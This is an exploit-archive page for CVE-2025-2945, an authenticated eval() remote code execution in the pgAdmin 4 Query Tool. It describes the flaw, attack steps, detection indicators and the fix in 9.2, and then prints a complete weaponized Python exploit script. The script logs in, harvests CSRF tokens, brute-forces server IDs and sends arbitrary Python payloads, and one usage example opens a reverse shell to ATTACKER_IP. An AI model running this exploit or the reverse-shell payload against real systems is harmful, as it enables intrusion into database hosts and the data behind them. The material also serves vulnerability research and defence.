PoC Archive PoC Archive
Critical CVE-2025-2945 patched

pgAdmin 4 Query Tool Authenticated eval() RCE (CVE-2025-2945)

by plur1bu5 · 2026-07-06

CVSS 9.9/10
Severity
Critical
CVE
CVE-2025-2945
Category
web
Affected product
pgAdmin 4 (web-based PostgreSQL administration tool)
Affected versions
8.10 through 9.1 (fixed in 9.2, released April 4, 2025)
Disclosed
2026-07-06
Patch status
patched

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07-06
Author / Researcherplur1bu5
CVE / AdvisoryCVE-2025-2945
Categoryweb
SeverityCritical
CVSS Score9.9 (per NVD)
StatusWeaponized
Tagspgadmin, postgresql, rce, eval-injection, code-injection, cwe-95, python, authenticated, sqleditor
RelatedN/A

Affected Target

FieldValue
Software / SystempgAdmin 4 (web-based PostgreSQL administration tool)
Versions Affected8.10 through 9.1 (fixed in 9.2, released April 4, 2025)
Language / PlatformPython (PoC and target server-side code); targets pgAdmin 4 web application
Authentication RequiredYes — any valid pgAdmin login plus valid credentials for a database server registered in pgAdmin
Network Access RequiredYes

Summary

pgAdmin 4’s Query Tool “download” endpoint accepts a query_commited parameter and passes it directly to Python’s built-in eval() without any sanitization, allowing an authenticated attacker to run arbitrary Python code under the pgAdmin service account. The root cause is unsafe use of eval() on user-controlled input in the query tool download handler (/sqleditor/query_tool/download/<trans_id>). The included PoC authenticates to pgAdmin, initializes a query tool session against a registered database server, and posts a Python expression (e.g. __import__('os').system('id')) as the query_commited field, achieving command execution on the pgAdmin host. Impact is full remote code execution with the privileges of the pgAdmin process, which commonly has network access to backend PostgreSQL infrastructure.


Vulnerability Details

Root Cause

In pgAdmin 4 versions prior to 9.2, the query tool download handler evaluates user-supplied input directly:

1
result = eval(data.get('query_commited'))

No input validation, sandboxing, or allowlisting is applied to the query_commited field before it reaches eval(), so any valid Python expression submitted by an authenticated user executes with the privileges of the pgAdmin process.

Attack Vector

  1. Authenticate — POST credentials to /authenticate/login (or the legacy /login on pgAdmin 8.x) using a CSRF token extracted from the /login page (either a hidden csrf_token input on older versions, or JSON embedded in a window.renderSecurityPage() call on the 9.x React SPA).
  2. Initialize sqleditor — POST to /sqleditor/initialize/sqleditor/<trans_id>/<sgid>/<sid>/<did> with valid database credentials to establish a query tool session tied to a registered PostgreSQL server.
  3. Discover server ID — GET /sqleditor/get_server_connection/<sgid>/<sid>, iterating candidate server IDs until one returns data.status == true.
  4. Trigger eval — POST to /sqleditor/query_tool/download/<trans_id> with a JSON body {"query_commited": "<python payload>"}. The server evaluates the payload with eval(); a resulting HTTP 500 response confirms code execution.

Impact

An attacker with any valid pgAdmin account and knowledge of (or access to) a registered database server’s credentials can achieve arbitrary Python code execution on the host running pgAdmin — including OS command execution (e.g. spawning a reverse shell) — under the pgAdmin service account.


Environment / Lab Setup

- Target: pgAdmin 4, versions 8.10 - 9.1 (vulnerable), reachable over HTTP/HTTPS
- Target must have at least one PostgreSQL server registered with known credentials
- Attacker: Python 3.7+
- pip install requests faker

Proof of Concept

PoC Script

See poc.py in this folder.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
python3 poc.py \
  --rhost <TARGET_HOST> \
  --rport <TARGET_PORT> \
  --username <PGADMIN_EMAIL> \
  --password <PGADMIN_PASSWORD> \
  --db-user <DB_USERNAME> \
  --db-pass <DB_PASSWORD> \
  --db-name <DATABASE_NAME> \
  --payload "__import__('os').system('id')"

python3 poc.py \
  --rhost <TARGET_HOST> \
  --username <PGADMIN_EMAIL> \
  --password <PGADMIN_PASSWORD> \
  --db-user <DB_USERNAME> \
  --db-pass <DB_PASSWORD> \
  --db-name <DATABASE_NAME> \
  --payload "__import__('os').system('bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"')"

Detection & Indicators of Compromise

- Unexpected HTTP 500 responses from POST /sqleditor/query_tool/download/<trans_id>
- JSON request bodies containing a "query_commited" field with non-SQL, Python-expression-like content
  (e.g. references to __import__, os.system, subprocess, eval)
- pgAdmin worker/service process spawning unexpected child processes (shells, curl, wget, netcat)
- Outbound network connections initiated from the pgAdmin host to unfamiliar external IPs

Signs of compromise:

  • Anomalous child processes under the pgAdmin service account
  • Reverse shell connections originating from the pgAdmin server
  • Repeated probing of /sqleditor/get_server_connection/<sgid>/<sid> across many sequential IDs (server-ID brute-forcing)
  • pgAdmin access/error logs showing 500 errors tied to /sqleditor/query_tool/download/

Remediation

ActionDetail
Primary fixUpgrade to pgAdmin 4 version 9.2 or later, which removes the unsafe eval() call on the query_commited parameter.
Interim mitigationRestrict pgAdmin access to trusted networks/VPN only, enforce strong per-user authentication, avoid sharing pgAdmin accounts, and monitor for anomalous process execution and outbound connections from the pgAdmin host.

References


Notes

Mirrored from https://github.com/plur1bu5/CVE-2025-2945-pgadmin-rce on 2026-07-06. The PoC handles both the legacy pgAdmin 8.x login flow (POST /login) and the pgAdmin 9.x React SPA flow (POST /authenticate/login with CSRF token embedded via window.renderSecurityPage()).

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
#!/usr/bin/env python3
"""
CVE-2025-2945 - pgAdmin 4 Query Tool Authenticated RCE
Affected: pgAdmin 4 versions 8.10 - 9.1
Fixed in: pgAdmin 4 version 9.2

The query tool endpoint passes the `query_commited` parameter directly to Python's
eval() without sanitization, allowing arbitrary Python code execution under the
pgAdmin service account.

Usage:
    python3 poc.py --rhost <host> --username <email> --password <pass> \
        --db-user <dbuser> --db-pass <dbpass> --db-name <dbname> \
        --payload "__import__('os').system('id')"
"""
import argparse
import random
import re
import sys
from urllib.parse import urljoin

import requests
from faker import Faker

fake = Faker()


class PgAdminExploit:
    def __init__(self, args):
        self.base_url = f"http://{args.rhost}:{args.rport}"
        self.username = args.username
        self.password = args.password
        self.db_user = args.db_user
        self.db_pass = args.db_pass
        self.db_name = args.db_name
        self.max_server_id = args.max_server_id
        self.payload = args.payload
        self.session = requests.Session()
        self.session.headers["User-Agent"] = "Mozilla/5.0"
        self._csrf = None

    def _url(self, path):
        return urljoin(self.base_url, path)

    def get_csrf_token(self, from_page="/login"):
        if self._csrf and from_page != "/login":
            return self._csrf

        resp = self.session.get(self._url(from_page), allow_redirects=True)

        for ck in ("pga_csrf_token", "pgaCookieCsrfToken", "csrftoken"):
            if ck in self.session.cookies:
                return self.session.cookies[ck]

        # Older pgAdmin: hidden input field
        marker = 'name="csrf_token" value="'
        idx = resp.text.find(marker)
        if idx != -1:
            start = idx + len(marker)
            end = resp.text.find('"', start)
            if end != -1:
                return resp.text[start:end]

        # pgAdmin 9.x: token embedded in window.renderSecurityPage() JSON
        m = re.search(r'"csrfToken"\s*:\s*"([^"]+)"', resp.text)
        if m:
            return m.group(1)

        sys.exit("[!] Could not extract CSRF token")

    def authenticate(self):
        print("[*] Authenticating...")
        self._csrf = self.get_csrf_token("/login")

        resp = self.session.post(
            self._url("/authenticate/login"),
            data={"email": self.username, "password": self.password, "csrf_token": self._csrf},
            headers={"Referer": self._url("/login"), "X-pgA-CSRFToken": self._csrf},
            allow_redirects=True,
        )
        # Fallback for pgAdmin 8.x which uses /login directly
        if resp.status_code not in (200, 302, 303):
            resp = self.session.post(
                self._url("/login"),
                data={"email": self.username, "password": self.password, "csrf_token": self._csrf},
                headers={"Referer": self._url("/login"), "X-pgA-CSRFToken": self._csrf},
                allow_redirects=True,
            )
        if resp.status_code != 200:
            sys.exit(f"[!] Login failed: {resp.status_code}")
        print("[+] Authenticated")

    def find_valid_server_id(self, sgid):
        for sid in range(1, self.max_server_id + 1):
            print(f"[*] Trying sgid={sgid} sid={sid}")
            resp = self.session.get(
                self._url(f"/sqleditor/get_server_connection/{sgid}/{sid}"),
                headers={"X-pgA-CSRFToken": self._csrf},
            )
            try:
                if resp.json().get("data", {}).get("status"):
                    print(f"[+] Found valid server: sgid={sgid} sid={sid}")
                    return sid
            except ValueError:
                continue
        sys.exit("[!] No valid server ID found. Try --max-server-id")

    def init_sqleditor(self, trans_id):
        sgid = random.randint(1, 10)
        did = random.randint(10000, 99999)
        sid = self.find_valid_server_id(sgid)

        print(f"[*] Initializing sqleditor (trans={trans_id} sgid={sgid} sid={sid} did={did})")
        resp = self.session.post(
            self._url(f"/sqleditor/initialize/sqleditor/{trans_id}/{sgid}/{sid}/{did}"),
            json={"user": self.db_user, "password": self.db_pass, "role": "", "dbname": self.db_name},
            headers={"Content-Type": "application/json", "X-pgA-CSRFToken": self._csrf},
        )
        if resp.status_code != 200:
            sys.exit(f"[!] sqleditor init failed: {resp.text[:200]}")
        print("[+] sqleditor initialized")

    def exploit(self):
        self.authenticate()

        trans_id = random.randint(1_000_000, 9_999_999)
        self.init_sqleditor(trans_id)

        print("[*] Sending payload...")
        resp = self.session.post(
            self._url(f"/sqleditor/query_tool/download/{trans_id}"),
            json={"query_commited": self.payload},
            headers={
                "Content-Type": "application/json",
                "X-pgA-CSRFToken": self._csrf,
                "Referer": self._url(f"/sqleditor/panel/{trans_id}?is_query_tool=true"),
            },
        )

        if resp.status_code == 500:
            print("[+] Got 500 response — payload executed")
        else:
            print(f"[!] Unexpected status {resp.status_code}: {resp.text[:300]}")


def main():
    p = argparse.ArgumentParser(description="CVE-2025-2945 pgAdmin 4 RCE PoC")
    p.add_argument("--rhost", required=True, help="Target host (no scheme)")
    p.add_argument("--rport", type=int, default=80)
    p.add_argument("--username", required=True, help="pgAdmin email")
    p.add_argument("--password", required=True)
    p.add_argument("--db-user", dest="db_user", required=True)
    p.add_argument("--db-pass", dest="db_pass", required=True)
    p.add_argument("--db-name", dest="db_name", required=True)
    p.add_argument("--payload", required=True, help="Python expression for eval(), e.g. \"__import__('os').system('id')\"")
    p.add_argument("--max-server-id", dest="max_server_id", type=int, default=10)
    args = p.parse_args()

    PgAdminExploit(args).exploit()


if __name__ == "__main__":
    main()